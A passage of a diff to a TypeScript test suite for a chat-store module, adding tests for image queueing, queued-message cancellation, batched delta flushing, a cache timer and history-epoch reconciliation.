});
+ it.each([" describe this ", "", " "])("queues images with text %j", (text) => {
+ const transport = createFakeTransport();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ workspaceId: "images-workspace",
+ transport: transport.impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ });
+ const images: readonly ImageInput[] = [
+ { url: "data:image/png;base64,AAAA", mimeType: "image/png" },
+ { url: "https://example.com/photo.jpg" },
+ ];
+
+ store.queueMessage(text, images);
+
+ expect(transport.sentQueue).toEqual([
+ {
+ type: "chat.queue",
+ requestId: expect.any(String),
+ conversationId: CONV_ID,
+ workspaceId: "images-workspace",
+ text: text.trim(),
+ images,
+ },
+ ]);
+ expect(transport.sentQueue[0]?.images).not.toBe(images);
+ expect(transport.sent).toHaveLength(0);
+ expect(store.chunks).toHaveLength(0);
+ store.dispose();
+ });
+
it("trims whitespace before sending", () => {
const transport = createFakeTransport();
const historySync = createFakeHistorySync();
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -282,6 +330,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -291,6 +340,7 @@ describe("createChatStore", () => {
store.queueMessage(" ");
store.queueMessage("");
+ store.queueMessage("", []);
expect(transport.sentQueue).toHaveLength(0);
@@ -303,6 +353,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -318,12 +369,88 @@ describe("createChatStore", () => {
});
});
+ describe("cancelQueuedMessage (chat.queue.cancel)", () => {
+ it("posts a chat.queue.cancel with conversationId + messageId", () => {
+ const transport = createFakeTransport();
+ const historySync = createFakeHistorySync();
+ const metricsSync = createFakeMetricsSync();
+ const cache = createFakeCache();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: transport.impl,
+ historySync: historySync.impl,
+ metricsSync: metricsSync.impl,
+ cache: cache.impl,
+ });
+
+ store.cancelQueuedMessage("msg-42");
+
+ expect(transport.sent).toHaveLength(0); // chat.send stays empty
+ expect(transport.sentQueue).toHaveLength(0); // chat.queue stays empty
+ expect(transport.sentCancels).toHaveLength(1);
+ expect(transport.sentCancels[0]?.type).toBe("chat.queue.cancel");
+ expect(transport.sentCancels[0]?.conversationId).toBe(CONV_ID);
+ expect(transport.sentCancels[0]?.messageId).toBe("msg-42");
+
+ store.dispose();
+ });
+
+ it("does NOT touch the transcript (a cancelled message never runs)", () => {
+ const transport = createFakeTransport();
+ const historySync = createFakeHistorySync();
+ const metricsSync = createFakeMetricsSync();
+ const cache = createFakeCache();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: transport.impl,
+ historySync: historySync.impl,
+ metricsSync: metricsSync.impl,
+ cache: cache.impl,
+ });
+
+ store.cancelQueuedMessage("msg-42");
+
+ expect(store.chunks).toHaveLength(0); // no transcript echo / change
+ expect(store.error).toBeNull();
+
+ store.dispose();
+ });
+
+ it("sends for any messageId (cancel is idempotent server-side, no FE guard)", () => {
+ const transport = createFakeTransport();
+ const historySync = createFakeHistorySync();
+ const metricsSync = createFakeMetricsSync();
+ const cache = createFakeCache();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: transport.impl,
+ historySync: historySync.impl,
+ metricsSync: metricsSync.impl,
+ cache: cache.impl,
+ });
+
+ // The server no-ops an already-drained / unknown id; the FE fires-and-
+ // forgetgets, so even a repeat cancel is forwarded.
+ store.cancelQueuedMessage("msg-42");
+ store.cancelQueuedMessage("msg-42");
+
+ expect(transport.sentCancels).toHaveLength(2);
+ expect(transport.sentCancels[1]?.messageId).toBe("msg-42");
+
+ store.dispose();
+ });
+ });
+
it("chat.error sets error", () => {
const transport = createFakeTransport();
const historySync = createFakeHistorySync();
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -353,6 +480,7 @@ describe("createChatStore", () => {
historySync.returnChunks = [makeStoredChunk(3, "assistant")];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -381,6 +509,7 @@ describe("createChatStore", () => {
historySync.returnChunks = [makeStoredChunk(1, "assistant")];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -402,6 +531,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -434,6 +564,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -456,7 +587,7 @@ describe("createChatStore", () => {
store.dispose();
});
- it("overlapping syncs are guarded", async () => {
+ it("overlapping syncs coalesce into a sequential rerun", async () => {
const transport = createFakeTransport();
const _historySync = createFakeHistorySync();
const metricsSync = createFakeMetricsSync();
@@ -474,10 +605,11 @@ describe("createChatStore", () => {
if (callCount === 1) {
await firstSyncPromise;
}
- return { chunks: [], latestSeq: sinceSeq };
+ return { chunks: [], latestSeq: sinceSeq, historyEpoch: 0 };
};
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: slowHistorySync,
@@ -501,7 +633,7 @@ describe("createChatStore", () => {
// Release the first sync
resolveFirstSync?.();
- await new Promise((r) => setTimeout(r, 10));
+ await vi.waitFor(() => expect(callCount).toBe(2));
store.dispose();
});
@@ -512,6 +644,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -557,6 +690,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
model: "openai/gpt-4",
transport: transport.impl,
@@ -581,6 +715,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -604,6 +739,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -634,6 +770,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -654,6 +791,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -678,6 +816,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -716,6 +855,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -777,6 +917,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -821,6 +962,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -893,6 +1035,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -959,6 +1102,7 @@ describe("createChatStore", () => {
];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -983,6 +1127,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1014,6 +1159,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1038,6 +1184,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1072,6 +1219,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1118,6 +1266,7 @@ describe("createChatStore", () => {
const cache = createFakeCache();
let atBottom = false; // reader scrolled up
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1172,6 +1321,7 @@ describe("createChatStore", () => {
const cache = createFakeCache();
let atBottom = false;
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1210,6 +1360,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1239,6 +1390,7 @@ describe("createChatStore", () => {
historySync.returnChunks = Array.from({ length: 500 }, (_, i) => makeStoredChunk(i + 1));
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1274,6 +1426,7 @@ describe("createChatStore", () => {
historySync.returnChunks = [makeStoredChunk(3)];
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1298,6 +1451,7 @@ describe("createChatStore", () => {
historySync.returnChunks = Array.from({ length: 500 }, (_, i) => makeStoredChunk(i + 1));
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1335,6 +1489,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1367,6 +1522,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1398,6 +1554,7 @@ describe("createChatStore", () => {
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1430,6 +1587,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1467,6 +1625,7 @@ describe("createChatStore", () => {
Array.from({ length: 200 }, (_, i) => makeStoredChunk(i + 1)),
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1498,6 +1657,7 @@ describe("createChatStore", () => {
// Server holds 200; cold-cache load at limit 100 → window 75 → seqs 126..200.
historySync.returnChunks = Array.from({ length: 200 }, (_, i) => makeStoredChunk(i + 1));
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1525,6 +1685,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1564,6 +1725,7 @@ describe("createChatStore", () => {
Array.from({ length: 50 }, (_, i) => makeStoredChunk(i + 1)),
);
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1573,6 +1735,7 @@ describe("createChatStore", () => {
});
await store.load(); // only 50 chunks → all loaded, window starts at seq 1
expect(store.chunks).toHaveLength(50);
+ await store.showEarlier(); // Probe server exhaustion; seq 1 alone is not a boundary.
expect(store.hasEarlier).toBe(false);
const callsAfterLoad = historySync.calls.length;
@@ -1590,6 +1753,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1619,6 +1783,7 @@ describe("createChatStore", () => {
const metricsSync = createFakeMetricsSync();
const cache = createFakeCache();
const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
conversationId: CONV_ID,
transport: transport.impl,
historySync: historySync.impl,
@@ -1634,3 +1799,467 @@ describe("createChatStore", () => {
expect(metricsSync.calls).toHaveLength(0);
});
});
+
+describe("createChatStore — batched delta application (scheduleFlush)", () => {
+ function setup() {
+ const scheduled: (() => void)[] = [];
+ const historySync = createFakeHistorySync();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: historySync.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ scheduleFlush: (flush) => scheduled.push(flush),
+ });
+ const runScheduled = (): void => {
+ for (const f of scheduled.splice(0)) f();
+ };
+ return { store, scheduled, runScheduled, historySync };
+ }
+ const text = (delta: string) =>
+ deltaEvent({ type: "text-delta", conversationId: CONV_ID, turnId: "t1", delta });
+
+ it("queues a burst and applies it in ONE scheduled flush", () => {
+ const { store, scheduled, runScheduled } = setup();
+ store.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t1" }));
+ for (let i = 0; i < 500; i++) store.handleDelta(text("x"));
+
+ expect(scheduled).toHaveLength(1);
+ expect(store.chunks).toHaveLength(0);
+
+ runScheduled();
+ expect(store.chunks).toHaveLength(1);
+ expect((store.chunks[0]?.chunk as { text: string }).text).toBe("x".repeat(500));
+ expect(store.generating).toBe(true);
+ store.dispose();
+ });
+
+ it("schedules a new flush for events arriving after a flush", () => {
+ const { store, scheduled, runScheduled } = setup();
+ store.handleDelta(text("a"));
+ runScheduled();
+ store.handleDelta(text("b"));
+ expect(scheduled).toHaveLength(1);
+ runScheduled();
+ expect((store.chunks[0]?.chunk as { text: string }).text).toBe("ab");
+ store.dispose();
+ });
+
+ it("a sealed turn in the batch still triggers a history sync", async () => {
+ const { store, runScheduled, historySync } = setup();
+ store.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t1" }));
+ store.handleDelta(text("done"));
+ store.handleDelta(deltaEvent({ type: "turn-sealed", conversationId: CONV_ID, turnId: "t1" }));
+ expect(historySync.calls).toHaveLength(0);
+ runScheduled();
+ await vi.waitFor(() => expect(historySync.calls.length).toBeGreaterThan(0));
+ store.dispose();
+ });
+
+ it("send() flushes queued events first so the user echo lands after them", () => {
+ const { store } = setup();
+ store.handleDelta(text("earlier reply"));
+ store.send("next question");
+ const roles = store.chunks.map((c) => c.role);
+ expect(roles).toEqual(["assistant", "user"]);
+ store.dispose();
+ });
+
+ it("chunks getter returns a stable array for an unchanged transcript", () => {
+ const { store, runScheduled } = setup();
+ store.handleDelta(text("a"));
+ runScheduled();
+ expect(store.chunks).toBe(store.chunks);
+ store.dispose();
+ });
+
+ it("a flush after dispose is a no-op", () => {
+ const { store, scheduled } = setup();
+ store.handleDelta(text("a"));
+ store.dispose();
+ for (const f of scheduled) f();
+ expect(store.chunks).toHaveLength(0);
+ });
+});
+
+describe("createChatStore — cacheTimer", () => {
+ function makeStore(now: () => number) {
+ return createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: createFakeHistorySync().impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ now,
+ });
+ }
+ const call = (stepId: string, toolCallId: string) =>
+ deltaEvent({
+ type: "tool-call",
+ conversationId: CONV_ID,
+ turnId: "t1",
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "read_file",
+ input: {},
+ });
+ const result = (stepId: string, toolCallId: string) =>
+ deltaEvent({
+ type: "tool-result",
+ conversationId: CONV_ID,
+ turnId: "t1",
+ stepId: stepId as StepId,
+ toolCallId,
+ toolName: "read_file",
+ content: "ok",
+ isError: false,
+ });
+ const stepComplete = (stepId: string) =>
+ deltaEvent({
+ type: "step-complete",
+ conversationId: CONV_ID,
+ turnId: "t1",
+ stepId: stepId as StepId,
+ });
+ const done = (turnId: string) =>
+ deltaEvent({ type: "done", conversationId: CONV_ID, turnId, reason: "end-turn" });
+
+ it("is idle until something happens", () => {
+ const store = makeStore(() => 1000);
+ expect(store.cacheTimer.running).toBeNull();
+ store.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t1" }));
+ expect(store.cacheTimer.running).toBeNull();
+ store.dispose();
+ });
+
+ it("times a step's tool execution with the injected clock and stamps it", () => {
+ let clock = 0;
+ const store = makeStore(() => clock);
+ store.handleDelta(call("t1#0", "a"));
+ clock = 1_000;
+ store.handleDelta(stepComplete("t1#0"));
+ expect(store.cacheTimer.running).toMatchObject({ kind: "step", startedAt: 1_000 });
+ clock = 31_000;
+ store.handleDelta(result("t1#0", "a"));
+ expect(store.cacheTimer.running).toBeNull();
+ expect(store.cacheTimer.stepStamps.get("t1#0")).toBe(30_000);
+ store.dispose();
+ });
+
+ it("starts a turn gap on done and stamps it on send", () => {
+ let clock = 5_000;
+ const store = makeStore(() => clock);
+ store.handleDelta(done("t1"));
+ expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 5_000 });
+ clock = 125_000;
+ store.send("next");
+ expect(store.cacheTimer.running).toBeNull();
+ expect(store.cacheTimer.turnStamps.get("t1")).toBe(120_000);
+ store.dispose();
+ });
+
+ it("ignores another conversation's events", () => {
+ const store = makeStore(() => 5_000);
+ store.handleDelta(
+ deltaEvent({ type: "done", conversationId: "other", turnId: "t1", reason: "end-turn" }),
+ );
+ expect(store.cacheTimer.running).toBeNull();
+ store.dispose();
+ });
+
+ it("noteLastActivity seeds a turn gap, keeps the later start, and is ignored while generating", () => {
+ const store = makeStore(() => 5_000);
+ store.noteLastActivity(3_000);
+ expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: null, startedAt: 3_000 });
+ store.handleDelta(done("t1"));
+ expect(store.cacheTimer.running).toEqual({ kind: "turn", turnId: "t1", startedAt: 5_000 });
+ store.noteLastActivity(4_000); // an older seed never rewinds it
+ expect(store.cacheTimer.running).toMatchObject({ startedAt: 5_000 });
+ store.dispose();
+
+ const busy = makeStore(() => 5_000);
+ busy.handleDelta(deltaEvent({ type: "turn-start", conversationId: CONV_ID, turnId: "t2" }));
+ busy.noteLastActivity(4_000);
+ expect(busy.cacheTimer.running).toBeNull();
+ busy.dispose();
+ });
+});
+
+describe("history epochs", () => {
+ it.each([
+ "tail",
+ "backfill",
+ ])("recovers missed compaction on %s and exhausts non-1 history", async (path) => {
+ const history = createFakeHistorySync();
+ const cache = createFakeCache();
+ history.returnChunks = Array.from({ length: 20 }, (_, i) => makeStoredChunk(i + 1));
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: cache.impl,
+ chatLimit: 10,
+ });
+ await store.load();
+ history.historyEpoch = 1;
+ history.returnChunks = [makeStoredChunk(101), makeStoredChunk(102)];
+ if (path === "tail") {
+ store.resync();
+ await vi.waitFor(() => expect(store.chunks[0]?.seq).toBe(101));
+ } else await store.showEarlier();
+ expect(store.chunks.map((c) => c.seq)).toEqual([101, 102]);
+ expect((await cache.impl.load(CONV_ID)).map((c) => c.seq)).toEqual([101, 102]);
+ expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+ expect(store.hasEarlier).toBe(false);
+ const calls = history.calls.length;
+ await store.showEarlier();
+ expect(history.calls).toHaveLength(calls);
+ store.dispose();
+ });
+});
+
+it("a compaction broadcast during an in-flight fetch discards the old response", async () => {
+ const history = createFakeHistorySync();
+ history.returnChunks = [makeStoredChunk(101)];
+ let resolve!: (res: import("@dispatch/transport-contract").ConversationHistoryResponse) => void;
+ const first = new Promise<import("@dispatch/transport-contract").ConversationHistoryResponse>(
+ (r) => {
+ resolve = r;
+ },
+ );
+ const sync = vi
+ .fn<import("./ports").HistorySync>()
+ .mockImplementationOnce(() => first)
+ .mockImplementation(history.impl);
+ const cache = createFakeCache();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: sync,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: cache.impl,
+ });
+ const loading = store.load();
+ await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(1));
+ history.historyEpoch = 1;
+ store.resync(1);
+ resolve({ chunks: [makeStoredChunk(1)], latestSeq: 1, historyEpoch: 0 });
+ await loading;
+ expect(sync).toHaveBeenCalledTimes(2);
+ expect(store.chunks.map((c) => c.seq)).toEqual([101]);
+ expect((await cache.impl.load(CONV_ID)).map((c) => c.seq)).toEqual([101]);
+ store.dispose();
+});
+
+it("reloads unknown legacy cache epochs rather than merging pre-upgrade rows", async () => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const storage = createIdbChunkStore({ indexedDB: new IDBFactory() });
+ const cache = createConversationCache(storage);
+ await storage.append(CONV_ID, [makeStoredChunk(1)]);
+ const history = createFakeHistorySync();
+ history.returnChunks = [makeStoredChunk(101)];
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ });
+ try {
+ await store.load();
+ expect(history.calls[0]).toMatchObject({ sinceSeq: 0 });
+ expect(store.chunks.map((c) => c.seq)).toEqual([101]);
+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect((await cache.load(CONV_ID)).map((c) => c.seq)).toEqual([101]);
+ } finally {
+ store.dispose();
+ vi.unstubAllGlobals();
+ }
+});
+
+describe("server epoch rollback", () => {
+ it.each([
+ "tail",
+ "backfill",
+ ])("converges on %s with a real cache and a fresh bounded fetch", async (path) => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const storage = createIdbChunkStore({ indexedDB: new IDBFactory() });
+ const cache = createConversationCache(storage);
+ const old = Array.from({ length: 20 }, (_, i) => makeStoredChunk(i + 1));
+ await cache.commit(CONV_ID, path === "backfill" ? old.slice(-7) : old, 5);
+ const history = createFakeHistorySync();
+ history.historyEpoch = 5;
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ chatLimit: 10,
+ });
+ try {
+ await store.load();
+ history.historyEpoch = 0;
+ // Recreated ids can reuse seqs with completely different content.
+ const restored: StoredChunk = {
+ seq: 1,
+ role: "user",
+ chunk: { type: "text", text: "restored" },
+ };
+ history.returnChunks = [restored];
+ const before = history.calls.length;
+ if (path === "tail") {
+ store.resync();
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ } else await store.showEarlier();
+ expect(history.calls.length - before).toBeLessThanOrEqual(2);
+ expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect(await cache.load(CONV_ID)).toEqual([restored]);
+ expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]);
+ expect(store.hasEarlier).toBe(false);
+ expect(store.error).toBeNull();
+ } finally {
+ store.dispose();
+ vi.unstubAllGlobals();
+ }
+ });
+
+ it("bounds reruns even when every response is invalidated by another compaction", async () => {
+ let calls = 0;
+ let churn = true;
+ let store!: ReturnType<typeof createChatStore>;
+ const sync: import("./ports").HistorySync = async () => {
+ calls++;
+ // Stop the old broken loop safely rather than hanging the test worker.
+ if (churn && calls <= 6) store.resync(calls);
+ return { chunks: [], latestSeq: 0, historyEpoch: calls - 1 };
+ };
+ store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: sync,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ });
+ try {
+ await store.load();
+ expect(calls).toBe(3);
+ expect(store.pendingSync).toBe(false);
+ expect(store.error).toMatch(/history changed repeatedly/i);
+ churn = false;
+ store.resync();
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(calls).toBe(4);
+ expect(store.error).toBeNull();
+ } finally {
+ store.dispose();
+ }
+ });
+});
+
+it.each([
+ "tail",
+ "backfill",
+])("rejects a delayed old %s after a lower-epoch history is observed", async (delayed) => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+ await cache.commit(
+ CONV_ID,
+ Array.from({ length: 7 }, (_, i) => makeStoredChunk(14 + i)),
+ 5,
+ );
+ const restored: StoredChunk = {
+ seq: 1,
+ role: "user",
+ chunk: { type: "text", text: "new history" },
+ };
+ type Response = import("@dispatch/transport-contract").ConversationHistoryResponse;
+ let resolve!: (res: Response) => void;
+ const slow = new Promise<Response>((r) => {
+ resolve = r;
+ });
+ let delayNext = false;
+ let epoch = 5;
+ const sync = vi.fn<import("./ports").HistorySync>().mockImplementation(async () => {
+ if (delayNext) {
+ delayNext = false;
+ return slow;
+ }
+ return {
+ chunks: epoch === 5 ? [] : [restored],
+ latestSeq: epoch === 5 ? 20 : 1,
+ historyEpoch: epoch,
+ };
+ });
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: sync,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ chatLimit: 10,
+ });
+ try {
+ await store.load();
+ delayNext = true;
+ let earlier: Promise<void>;
+ if (delayed === "tail") {
+ store.resync();
+ await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(2));
+ epoch = 0;
+ earlier = store.showEarlier();
+ await earlier; // Invalidates the old tail and requests a sequential rerun.
+ } else {
+ earlier = store.showEarlier();
+ await vi.waitFor(() => expect(sync).toHaveBeenCalledTimes(2));
+ epoch = 0;
+ store.resync();
+ await vi.waitFor(() => expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]));
+ }
+ resolve({ chunks: [makeStoredChunk(21)], latestSeq: 21, historyEpoch: 5 });
+ await earlier;
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(await cache.historyEpoch(CONV_ID)).toBe(0);
+ expect(await cache.load(CONV_ID)).toEqual([restored]);
+ expect(store.chunks.map((c) => c.chunk)).toEqual([restored.chunk]);
+ expect(sync).toHaveBeenCalledTimes(4);
+ } finally {
+ store.dispose();
+ vi.unstubAllGlobals();
+ }
+});
+
+it("replaces an empty high-epoch cache with the server's empty lower epoch in one request", async () => {
+ const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+ await cache.reset(CONV_ID, 8);
+ const history = createFakeHistorySync();
+ const store = createChatStore({
+ createRequestId: () => crypto.randomUUID(),
+ conversationId: CONV_ID,
+ transport: createFakeTransport().impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache,
+ });
+ try {
+ await store.load();
+ expect(history.calls).toHaveLength(1);
